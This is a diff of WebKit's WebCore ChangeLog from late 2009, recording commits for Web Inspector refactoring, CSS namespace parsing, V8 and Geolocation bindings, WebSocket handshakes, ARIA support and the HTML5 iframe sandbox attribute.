+2009-12-02  Pavel Feldman  <pfeldman@dhcp-172-28-174-220.spb.corp.google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: DOM tree selection disappears upon page refresh.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31142
+
+        Test: inspector/elements-panel-selection-on-refresh.html
+
+        * inspector/InjectedScriptHost.cpp:
+        (WebCore::InjectedScriptHost::pushNodeByPathToFrontend):
+        * inspector/InjectedScriptHost.h:
+        * inspector/InjectedScriptHost.idl:
+        * inspector/InspectorBackend.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::releaseDOMAgent):
+        (WebCore::InspectorController::resetScriptObjects):
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::~InspectorDOMAgent):
+        (WebCore::InspectorDOMAgent::reset):
+        (WebCore::InspectorDOMAgent::setDocument):
+        (WebCore::InspectorDOMAgent::pushDocumentToFrontend):
+        (WebCore::InspectorDOMAgent::nodeForPath):
+        (WebCore::InspectorDOMAgent::pushNodePathToFrontend):
+        * inspector/InspectorDOMAgent.h:
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode.prototype._renumber):
+        (WebInspector.DOMAgent.prototype._setDocument):
+        * inspector/front-end/ElementsPanel.js:
+        (WebInspector.ElementsPanel.prototype.reset):
+        (WebInspector.ElementsPanel.prototype.setDocument.selectDefaultNode):
+        (WebInspector.ElementsPanel.prototype.setDocument.selectLastSelectedNode):
+        (WebInspector.ElementsPanel.prototype.setDocument):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.pushNodeByPathToFrontend):
+        * inspector/front-end/InjectedScriptAccess.js:
+
+2009-12-01  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32045, make sure escape sequences work with
+        all the @-rules we support.  When escape sequences are present, the lexical scanner
+        just returns a generic token name: ATKEYWORD.  We have to process the escape sequences
+        and then recheck against the rules we support with the final processed name.  If we
+        find a match, we mutate the token value to the appropriate rule name token, e.g.,
+        NAMESPACE_SYM.
+
+        Added fast/css/namespaces/namespaces-escapes.xml
+
+        * css/CSSParser.cpp:
+        (WebCore::CSSParser::lex):
+        (WebCore::CSSParser::recheckAtKeyword):
+        (WebCore::CSSParser::text):
+        * css/CSSParser.h:
+
+2009-12-02  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.:w
+
+        Allow to skip thread checks when accessing DOMDataStore for processes
+        which run V8 in single thread mode.
+        https://bugs.webkit.org/show_bug.cgi?id=31877
+
+        Should be covered by buildbots.
+
+        * bindings/v8/V8DOMMap.cpp:
+        (WebCore::getDOMDataStore):
+        (WebCore::enableFasterDOMStoreAccess):
+        (WebCore::getDOMNodeMap):
+        (WebCore::getDOMObjectMap):
+        (WebCore::getActiveDOMObjectMap):
+        (WebCore::getDOMSVGElementInstanceMap):
+        (WebCore::getDOMSVGObjectWithContextMap):
+        * bindings/v8/V8DOMMap.h:
+
+2009-12-02  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Code clean up: remove ScriptObjectQuarantine.* as a whole.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32060
+
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSBindingsAllInOne.cpp:
+        * bindings/js/ScriptObjectQuarantine.cpp: Removed.
+        * bindings/js/ScriptObjectQuarantine.h: Removed.
+        * bindings/js/ScriptValue.cpp:
+        (WebCore::ScriptValue::quarantineValue):
+        * bindings/js/ScriptValue.h:
+        * bindings/v8/ScriptObjectQuarantine.cpp: Removed.
+        * bindings/v8/ScriptObjectQuarantine.h: Removed.
+        * bindings/v8/ScriptValue.h:
+        (WebCore::ScriptValue::quarantineValue):
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::ConsoleMessage):
+        * inspector/InspectorController.cpp:
+        * inspector/InspectorDatabaseResource.cpp:
+        (WebCore::InspectorDatabaseResource::bind):
+        * inspector/InspectorFrontend.cpp:
+
+2009-12-02  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        WebSocket handshake check query component of URL
+        https://bugs.webkit.org/show_bug.cgi?id=31617
+
+        Tests: websocket/tests/url-with-credential.html
+               websocket/tests/url-with-empty-query.html
+               websocket/tests/url-with-fragment.html
+               websocket/tests/url-with-query-for-no-query.html
+               websocket/tests/url-with-query.html
+
+        * platform/KURLGoogle.cpp:
+        (WebCore::KURL::query): returns a null if query is not specified and returns an empty if query is specified but empty.
+        * websockets/WebSocketHandshake.cpp:
+        (WebCore::resourceName): added. add query component to path if specified.
+        (WebCore::WebSocketHandshake::clientLocation):
+        (WebCore::WebSocketHandshake::clientHandshakeMessage):
+
+2009-12-01  David Levin  <levin@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Incorrect code in WebGLRenderingContext.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=32046
+
+        Fix incorrect code that happened to work. != has higher precendence than &.
+        The simplest fix is to remove the "!= 0" which violates WebKit style
+        guidelines anyway.
+
+        Also added periods to few comments in the same function.
+
+        * html/canvas/WebGLRenderingContext.cpp:
+        (WebCore::WebGLRenderingContext::validateIndexArray):
+
+2009-12-01  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Change [Reflect] to [ConvertNullToNullString, Reflect] for min, max,
+        pattern and step attributes of HTMLInputElement.
+        https://bugs.webkit.org/show_bug.cgi?id=31708
+
+        * html/HTMLInputElement.idl:
+
+2009-12-01  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WAI-ARIA: implement support for ARIA drag and drop
+        https://bugs.webkit.org/show_bug.cgi?id=32007
+
+        Test: platform/mac/accessibility/aria-drag-drop.html
+
+        * accessibility/AccessibilityObject.h:
+        (WebCore::AccessibilityObject::supportsARIADropping):
+        (WebCore::AccessibilityObject::supportsARIADragging):
+        (WebCore::AccessibilityObject::isARIAGrabbed):
+        (WebCore::AccessibilityObject::setARIAGrabbed):
+        (WebCore::AccessibilityObject::determineARIADropEffects):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::supportsARIADropping):
+        (WebCore::AccessibilityRenderObject::supportsARIADragging):
+        (WebCore::AccessibilityRenderObject::isARIAGrabbed):
+        (WebCore::AccessibilityRenderObject::setARIAGrabbed):
+        (WebCore::AccessibilityRenderObject::determineARIADropEffects):
+        * accessibility/AccessibilityRenderObject.h:
+        * accessibility/mac/AccessibilityObjectWrapper.mm:
+        (-[AccessibilityObjectWrapper additionalAccessibilityAttributeNames]):
+        (-[AccessibilityObjectWrapper accessibilityAttributeValue:]):
+        (-[AccessibilityObjectWrapper accessibilityIsAttributeSettable:]):
+        (-[AccessibilityObjectWrapper accessibilitySetValue:forAttribute:]):
+        * html/HTMLAttributeNames.in:
+
+2009-12-01  Adam Barth  <abarth@webkit.org>
+
+        https://bugs.webkit.org/show_bug.cgi?id=21288
+
+        Unreviewed port of @sandbox to V8.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::isEnabled):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::createWindow):
+
+2009-12-01  Patrik Persson  <patrik.j.persson@ericsson.com>
+
+        Reviewed by Darin Adler.
+
+        Implement HTML5 sandbox attribute for iframes.
+        http://www.w3.org/TR/html5/text-level-semantics.html#attr-iframe-sandbox
+        https://bugs.webkit.org/show_bug.cgi?id=21288
+
+        Tests: fast/frames/sandboxed-iframe-attribute-parsing.html
+               fast/frames/sandboxed-iframe-forms.html
+               fast/frames/sandboxed-iframe-navigation-allowed.html
+               fast/frames/sandboxed-iframe-navigation-parent.html
+               fast/frames/sandboxed-iframe-navigation-targetlink.html
+               fast/frames/sandboxed-iframe-navigation-windowopen.html
+               fast/frames/sandboxed-iframe-plugins.html
+               fast/frames/sandboxed-iframe-scripting.html
+               fast/frames/sandboxed-iframe-storage.html
+               http/tests/security/sandboxed-iframe-document-cookie.html
+               http/tests/security/sandboxed-iframe-modify-self.html
+               http/tests/security/xss-DENIED-sandboxed-iframe.html
+               http/tests/xmlhttprequest/access-control-sandboxed-iframe-allow.html
+               http/tests/xmlhttprequest/access-control-sandboxed-iframe-denied-without-wildcard.html
+               http/tests/xmlhttprequest/access-control-sandboxed-iframe-denied.html
+
+        * bindings/js/JSDOMWindowCustom.cpp: sandboxing navigation
+        (WebCore::createWindow):
+        * bindings/js/ScriptController.cpp: sandboxing scripts
+        (WebCore::ScriptController::isEnabled):
+        * dom/Document.cpp:
+        (WebCore::Document::processHttpEquiv):
+        (WebCore::Document::cookie): raise exception when accessed from sandbox
+        (WebCore::Document::setCookie): raise exception when accessed from sandbox
+        (WebCore::Document::initSecurityContext): updae sandbox status
+        (WebCore::Document::updateSandboxFlags):
+        * dom/Document.h:
+        * dom/Document.idl:
+        * html/HTMLAppletElement.cpp: sandboxing applets
+        (WebCore::HTMLAppletElement::createRenderer):
+        (WebCore::HTMLAppletElement::renderWidgetForJSBindings):
+        (WebCore::HTMLAppletElement::canEmbedJava):
+        * html/HTMLAppletElement.h:
+        * html/HTMLAttributeNames.in:
+        * html/HTMLFrameOwnerElement.cpp: management of sandbox flags as stated in attribute
+        (WebCore::HTMLFrameOwnerElement::HTMLFrameOwnerElement):
+        (WebCore::HTMLFrameOwnerElement::setSandboxFlags):
+        * html/HTMLFrameOwnerElement.h:
+        (WebCore::HTMLFrameOwnerElement::sandboxFlags):
+        * html/HTMLIFrameElement.cpp: sandbox attribute parsing
+        (WebCore::parseSandboxAttribute):
+        (WebCore::HTMLIFrameElement::parseMappedAttribute):
+        * html/HTMLIFrameElement.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::getCookies):
+        * loader/CrossOriginAccessControl.cpp:
+        (WebCore::passesAccessControlCheck):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::init):
+        (WebCore::FrameLoader::submitForm): sandboxing forms
+        (WebCore::FrameLoader::requestObject): sandboxing plugins
+        (WebCore::FrameLoader::shouldAllowNavigation): sandboxing navigation
+        (WebCore::FrameLoader::updateSandboxFlags): propagation of sandbox flags
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::ownerElementSandboxFlagsChanged):
+        (WebCore::FrameLoader::isSandboxed):
+        (WebCore::FrameLoader::sandboxFlags):
+        * loader/FrameLoaderTypes.h:
+        (WebCore::):
+        * page/DOMWindow.cpp: disable storage and databases in sandboxed frames
+        (WebCore::DOMWindow::sessionStorage):
+        (WebCore::DOMWindow::localStorage):
+        (WebCore::DOMWindow::openDatabase):
+        * page/SecurityOrigin.cpp: added sandboxing status
+        (WebCore::SecurityOrigin::SecurityOrigin):
+        (WebCore::SecurityOrigin::canAccess):
+        (WebCore::SecurityOrigin::canRequest):
+        (WebCore::SecurityOrigin::toString):
+        * page/SecurityOrigin.h:
+        (WebCore::SecurityOrigin::setSandboxFlags):
+        (WebCore::SecurityOrigin::isSandboxed):
+        (WebCore::SecurityOrigin::canAccessDatabase):
+        (WebCore::SecurityOrigin::canAccessStorage):
+        * websockets/WebSocketChannel.cpp:
+        (WebCore::WebSocketChannel::didReceiveData):
+
+2009-12-01  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by David Kilzer.
+
+        ARIA: support a way to create a static text object
+        https://bugs.webkit.org/show_bug.cgi?id=32030
+
+        Test: accessibility/aria-text-role.html
+
+        * accessibility/AccessibilityObject.cpp:
+        (WebCore::createARIARoleMap):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::stringValue):
+        (WebCore::AccessibilityRenderObject::isDescendantOfBarrenParent):
+        (WebCore::AccessibilityRenderObject::accessibilityIsIgnored):
+        (WebCore::AccessibilityRenderObject::text):
+        * accessibility/AccessibilityRenderObject.h:
+
+2009-12-01  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Inspector crashes when collecting on every allocation
+        https://bugs.webkit.org/show_bug.cgi?id=32044
+
+        The crash is caused by the prototype wrapper object getting collected
+        when allocating the object that is going to use it as a prototype.
+        Because the only reference to the prototype wrapper is through the
+        new object's Structure it does not get marked automatically.
+
+        * bindings/js/JSInspectedObjectWrapper.cpp:
+        (WebCore::JSInspectedObjectWrapper::wrap):
+        * bindings/js/JSInspectorCallbackWrapper.cpp:
+        (WebCore::JSInspectorCallbackWrapper::wrap):
+
+2009-12-01  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Simon Fraser.
+
+        Add SVG animation test framework with 'snapshot' functionality
+        https://bugs.webkit.org/show_bug.cgi?id=31897
+
+        Add 'sampleSVGAnimationForElementAtTime' method to the LayoutTestController,
+        for the use within the new SVG animation test framework (LayoutTests/svg/animations/)
+
+        layoutTestController.sampleAnimationAtTime(<svg animation id>, <absolute time>, <svg element id>);
+        to sample a svg animateMotion/animateColor/animate/set element at certain times.
+
+        After the desired SVG animation starts and calling the method above, it's immediately forwarded to
+        the desired sampling time. After JS returns from the 'sampleSVGAnimationForElementAtTime' method
+        a callback is fired used to sample the animation value at the target time. It's modelled similar
+        to the CSS animation/transition testing framework, inspired by
+        LayoutTests/animations/animation-test-helpers.js.
+
+        Though it has been extended to integrate within the fast/js/js-test-* framework, that's used for
+        the SVG dynamic-updates tests, to simplify test creation, by utilizing script-tests/* only.
+
+        Adding a simple testcase testing the DRT methods, it will soon be extended to test animVal/baseVal
+        interaction, while animating.
+
+        Test: svg/animations/animVal-basics.html
+
+        * WebCore.base.exp:
+        * WebCore.xcodeproj/project.pbxproj:
+        * svg/SVGDocumentExtensions.cpp:
+        (WebCore::SVGDocumentExtensions::sampleAnimationAtTime):
+        * svg/SVGDocumentExtensions.h:
+        * svg/animation/SMILTimeContainer.cpp:
+        (WebCore::SMILTimeContainer::SMILTimeContainer):
+        (WebCore::SMILTimeContainer::sampleAnimationAtTime):
+        (WebCore::SMILTimeContainer::updateAnimations):
+        * svg/animation/SMILTimeContainer.h:
+
+2009-12-01  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        Add convenience methods to Element and QualifiedName that take
+        char* instead of AtomicString, in preparation for removing the
+        implicit conversion between the two types (30187).
+        https://bugs.webkit.org/show_bug.cgi?id=31749
+
+        * dom/Element.cpp:
+        (WebCore::Element::setCStringAttribute):  Equivalent to setAttribute.
+        * dom/Element.h:
+        * dom/QualifiedName.cpp:
+        (WebCore::QualifiedName::init):  Shared impl of both constructors
+        (WebCore::QualifiedName::QualifiedName):  New c'tor taking char*.
+        * dom/QualifiedName.h:
+        * platform/network/HTTPHeaderMap.cpp:
+        (WebCore::CaseFoldingCStringTranslator):  Enables lookup by C string
+        (WebCore::HTTPHeaderMap::get):  New variant that takes C string
+        (WebCore::HTTPHeaderMap::contains):  New variant that takes C string
+        (WebCore::HTTPHeaderMap::add):  New variant that takes C string
+        * platform/network/HTTPHeaderMap.h:
+        (WebCore::HTTPHeaderMap::get):
+        (WebCore::HTTPHeaderMap::add):
+        * platform/network/ResourceRequestBase.cpp:
+        (WebCore::ResourceRequestBase::httpHeaderField):  New variant that takes C string
+        * platform/network/ResourceRequestBase.h:
+        (WebCore::ResourceRequestBase::setHTTPHeaderField):  Use symbolic names for headers
+        * platform/network/ResourceResponseBase.cpp:
+        (WebCore::ResourceResponseBase::httpHeaderField):  New variant that takes C string
+        * platform/network/ResourceResponseBase.h:
+
+2009-12-01  Alexey Proskuryakov  <ap@apple.com>
+
+        More Windows build fix.
+
+        * platform/network/cf/CredentialStorageCFNet.cpp:
+        (WebCore::CredentialStorage::getFromPersistentStorage):
+
+2009-12-01  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix.
+
+        * platform/network/cf/CredentialStorageCFNet.cpp: Include RetainPtr.h.
+
+2009-12-01  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32036
+        Implement CredentialStorage::getFromPersistentStorage for CFNetwork
+
+        * platform/network/cf/CredentialStorageCFNet.cpp:
+        (WebCore::CredentialStorage::getFromPersistentStorage):
+
+2009-12-01  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Pavel Feldman.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32001
+
+        Added missing localized strings (that I left out of the patch for bug #21554):
+        %d × %d pixels
+        %d × %d pixels (Natural: %d × %d pixels)
+
+        Also, changed formatting of these stings to conform with existing ones (added
+        a space on both sides of the multiply sign).
+
+        * English.lproj/localizedStrings.js: Added stings.
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeElement.prototype.createTooltipForImageNode):
+
+2009-12-01  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Fix for bug 32032, empty namespaces should be allowed in @namespace directives in CSS.
+
+        Added fast/css/namespaces/namespaces-empty.xml
+
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::addNamespace):
+        (WebCore::CSSStyleSheet::determineNamespace):
+
+2009-12-01  Joseph Pecoraro  <joepeck@webkit.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Escape key in the Search Field should be more User Friendly
+        https://bugs.webkit.org/show_bug.cgi?id=32005
+
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded): add mousedown listener on the search field
+        (WebInspector.searchFieldManualFocus): user clicked to focus on the search field
+        (WebInspector.searchKeyDown): handle escape
+
+2009-12-01  Dave Hyatt  <hyatt@apple.com>
+
+        Reviewed by David Kilzer.
+
+        @namespace directives need to use "maybe_space" in the "maybe_ns_prefix" portion of the grammar to match
+        the spec.  Not doing so prevent comments from being used immmediately after the namespace prefix.
+
+        Added fast/css/namespaces-comments.xml
+
+        * css/CSSGrammar.y:
+
+2009-12-01  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Reloading WebInspector from context menu is closing it instead of reloading.
+        https://bugs.webkit.org/show_bug.cgi?id=32004
+
+        When reloading WebInspector, don't delete its m_page.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::close):
+
+2009-12-01  Steve Block  <steveblock@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adds V8 bindings for Geolocation.
+        https://bugs.webkit.org/show_bug.cgi?id=30206
+
+        Also adds Geolocation files to Chrome build files.
+
+        * WebCore.gyp/WebCore.gyp: Modified. Corrects list of Geolocation IDL files.
+        * WebCore.gypi: Modified. Adds Geolocation files.
+        * bindings/v8/DOMObjectsInclude.h: Modified. Adds Geolocation includes.
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Modified. Adds Geolocation files.
+        * bindings/v8/V8Index.cpp: Modified. Includes Geolocation generated headers.
+        * bindings/v8/V8Index.h: Modified. Adds Geolocation types to DOM_OBJECT_TYPES.
+        * bindings/v8/custom/V8CoordinatesCustom.cpp: Added. Handles optional properties.
+        * bindings/v8/custom/V8CustomBinding.h: Modified. Declares callbacks and getters.
+        * bindings/v8/custom/V8CustomPositionCallback.cpp: Added.
+        (WebCore::V8CustomPositionCallback::V8CustomPositionCallback): Added. Constructor.
+        (WebCore::V8CustomPositionCallback::~V8CustomPositionCallback): Added. Destructor.
+        (WebCore::V8CustomPositionCallback::handleEvent): Added. Invokes callback.
+        * bindings/v8/custom/V8CustomPositionCallback.h: Added.
+        (WebCore::V8CustomPositionCallback::create): Added. Factory method.
+        * bindings/v8/custom/V8CustomPositionErrorCallback.cpp: Added.
+        (WebCore::V8CustomPositionErrorCallback::V8CustomPositionErrorCallback): Added. Constructor.
+        (WebCore::V8CustomPositionErrorCallback::~V8CustomPositionErrorCallback): Added. Destructor.
+        (WebCore::V8CustomPositionErrorCallback::handleEvent): Added. Invokes callback.
+        * bindings/v8/custom/V8CustomPositionErrorCallback.h: Added.
+        (WebCore::V8CustomPositionErrorCallback::create): Added. Factory method.
+        * bindings/v8/custom/V8GeolocationCustom.cpp: Added.
+        (WebCore::throwTypeMismatchException): Added. Throws a type mismatch error.
+        (WebCore::createPositionCallback): Added. Handles type checking for successCallback argument.
+        (WebCore::createPositionErrorCallback): Added. Handles type checking for errorCallback argument.
+        (WebCore::createPositionOptions): Added. Handles type checking for positionOptions argument.
+
+2009-12-01  Yury Semikhatsky  <yurys@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Provide a way to get ScriptState for the inspected page.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32020
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::mainWorldScriptState):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/ScriptState.cpp:
+        (WebCore::scriptStateFromPage):
+
+2009-12-01  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Changed mallocs to fastMallocs and frees to fastFrees in GraphicsContext3D. Also added error returns
+        https://bugs.webkit.org/show_bug.cgi?id=30778
+
+        * platform/graphics/mac/GraphicsContext3DMac.cpp:
+        (WebCore::GraphicsContext3D::getProgramInfoLog):
+        (WebCore::GraphicsContext3D::getShaderInfoLog):
+        (WebCore::GraphicsContext3D::getShaderSource):
+        (WebCore::imageToTexture):
+
+2009-12-01  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [V8] Don't crash in DOMWindow event getter in OOM situations
+        https://bugs.webkit.org/show_bug.cgi?id=32017
+
+        Add missing null handle checks in DOMWindow event property
+        accessors.  V8Proxy::context(frame) can return a null handle in
+        OOM situations either if failing to initialize a context or if an
+        OOM is handled gracefully and javascript is disabled.
+
+        No new tests because we don't have a good way to test
+        out-of-memory bugs.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-12-01  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Updated HTMLCanvasElement to accept "experimental-webgl" as the context name.
+        https://bugs.webkit.org/show_bug.cgi?id=31672
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::getContext):
+
+2009-12-01  Pavel Feldman  <pfeldman@dhcp-172-28-174-220.spb.corp.google.com>
+
+        Not reviewed: chromium build fix, added missing import.
+
+        * inspector/InspectorFrontendHost.cpp:
+
+2009-12-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: fix windows build via unexcluding generated files from
+        project.
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-12-01  Mark Rowe  <mrowe@apple.com>
+
+        Stop copying IDL files in to the WebCore framework wrapper.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-01  Mark Rowe  <mrowe@apple.com>
+
+        Fix the Tiger build by making the Xcode project compatible with Xcode 2.4.
+
+        This was probably broken by hand-editing the project file as Xcode itself
+        knows how to keep project files to a backwards-compatible subset of its format.
+
+        * WebCore.xcodeproj/project.pbxproj:
+
+2009-12-01  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed: windows build fix (bad vcproj in r51528).
+
+        * WebCore.vcproj/WebCore.vcproj:
+
+2009-11-27  Pavel Feldman  <pfeldman@dhcp-172-28-174-220.spb.corp.google.com>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Split InspectorBackend into three parts: backend,
+        injected script host and frontend host.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31888
+
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSBindingsAllInOne.cpp:
+        * bindings/js/JSInspectorBackendCustom.cpp: Removed.
+        * bindings/js/JSInspectorFrontendHostCustom.cpp: Added.
+        (WebCore::JSInspectorFrontendHost::search):
+        (WebCore::JSInspectorFrontendHost::setting):
+        (WebCore::JSInspectorFrontendHost::setSetting):
+        * bindings/js/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/js/ScriptObject.h:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/DerivedSourcesAllInOne.cpp:
+        * bindings/v8/ScriptObject.cpp:
+        (WebCore::ScriptGlobalObject::set):
+        * bindings/v8/ScriptObject.h:
+        * bindings/v8/V8Index.cpp:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8InspectorBackendCustom.cpp: Removed.
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        * inspector/InjectedScriptHost.cpp: Added.
+        (WebCore::InjectedScriptHost::InjectedScriptHost):
+        (WebCore::InjectedScriptHost::~InjectedScriptHost):
+        (WebCore::InjectedScriptHost::copyText):
+        (WebCore::InjectedScriptHost::nodeForId):
+        (WebCore::InjectedScriptHost::wrapObject):
+        (WebCore::InjectedScriptHost::unwrapObject):
+        (WebCore::InjectedScriptHost::pushNodePathToFrontend):
+        (WebCore::InjectedScriptHost::addNodesToSearchResult):
+        (WebCore::InjectedScriptHost::currentCallFrame):
+        (WebCore::InjectedScriptHost::databaseForId):
+        (WebCore::InjectedScriptHost::selectDatabase):
+        (WebCore::InjectedScriptHost::selectDOMStorage):
+        (WebCore::InjectedScriptHost::reportDidDispatchOnInjectedScript):
+        (WebCore::InjectedScriptHost::inspectorDOMAgent):
+        (WebCore::InjectedScriptHost::inspectorFrontend):
+        * inspector/InjectedScriptHost.h: Added.
+        (WebCore::InjectedScriptHost::create):
+        (WebCore::InjectedScriptHost::inspectorController):
+        (WebCore::InjectedScriptHost::disconnectController):
+        * inspector/InjectedScriptHost.idl: Added.
+        * inspector/InspectorBackend.cpp:
+        (WebCore::InspectorBackend::InspectorBackend):
+        (WebCore::InspectorBackend::storeLastActivePanel):
+        (WebCore::InspectorBackend::toggleNodeSearch):
+        (WebCore::InspectorBackend::resourceTrackingEnabled):
+        (WebCore::InspectorBackend::debuggerEnabled):
+        (WebCore::InspectorBackend::enableDebugger):
+        (WebCore::InspectorBackend::disableDebugger):
+        (WebCore::InspectorBackend::addBreakpoint):
+        (WebCore::InspectorBackend::updateBreakpoint):
+        (WebCore::InspectorBackend::removeBreakpoint):
+        (WebCore::InspectorBackend::pauseInDebugger):
+        (WebCore::InspectorBackend::resumeDebugger):
+        (WebCore::InspectorBackend::stepOverStatementInDebugger):
+        (WebCore::InspectorBackend::stepIntoStatementInDebugger):
+        (WebCore::InspectorBackend::stepOutOfFunctionInDebugger):
+        (WebCore::InspectorBackend::pauseOnExceptions):
+        (WebCore::InspectorBackend::setPauseOnExceptions):
+        (WebCore::InspectorBackend::profilerEnabled):
+        (WebCore::InspectorBackend::enableProfiler):
+        (WebCore::InspectorBackend::disableProfiler):
+        (WebCore::InspectorBackend::startProfiling):
+        (WebCore::InspectorBackend::stopProfiling):
+        (WebCore::InspectorBackend::getProfileHeaders):
+        (WebCore::InspectorBackend::getProfile):
+        (WebCore::InspectorBackend::currentCallFrame):
+        (WebCore::InspectorBackend::highlightDOMNode):
+        (WebCore::InspectorBackend::hideDOMNodeHighlight):
+        (WebCore::InspectorBackend::getCookies):
+        (WebCore::InspectorBackend::deleteCookie):
+        (WebCore::InspectorBackend::didEvaluateForTestInFrontend):
+        (WebCore::InspectorBackend::nodeForId):
+        * inspector/InspectorBackend.h:
+        (WebCore::InspectorBackend::create):
+        * inspector/InspectorBackend.idl:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::inspectedPageDestroyed):
+        (WebCore::InspectorController::windowScriptObjectAvailable):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::inspectorFrontendHost):
+        (WebCore::InspectorController::injectedScriptHost):
+        * inspector/InspectorFrontendHost.cpp: Added.
+        (WebCore::InspectorFrontendHost::InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::~InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::loaded):
+        (WebCore::InspectorFrontendHost::attach):
+        (WebCore::InspectorFrontendHost::detach):
+        (WebCore::InspectorFrontendHost::closeWindow):
+        (WebCore::InspectorFrontendHost::windowUnloading):
+        (WebCore::InspectorFrontendHost::setAttachedWindowHeight):
+        (WebCore::InspectorFrontendHost::moveWindowBy):
+        (WebCore::InspectorFrontendHost::localizedStringsURL):
+        (WebCore::InspectorFrontendHost::hiddenPanels):
+        (WebCore::InspectorFrontendHost::platform):
+        (WebCore::InspectorFrontendHost::port):
+        (WebCore::InspectorFrontendHost::addResourceSourceToFrame):
+        (WebCore::InspectorFrontendHost::addSourceToFrame):
+        * inspector/InspectorFrontendHost.h: Added.
+        (WebCore::InspectorFrontendHost::create):
+        (WebCore::InspectorFrontendHost::inspectorController):
+        (WebCore::InspectorFrontendHost::disconnectController):
+        * inspector/InspectorFrontendHost.idl: Added.
+        * inspector/front-end/Breakpoint.js:
+        (WebInspector.Breakpoint.prototype.set condition):
+        * inspector/front-end/BreakpointsSidebarPane.js:
+        (WebInspector.BreakpointsSidebarPane.prototype.addBreakpoint):
+        (WebInspector.BreakpointsSidebarPane.prototype.removeBreakpoint):
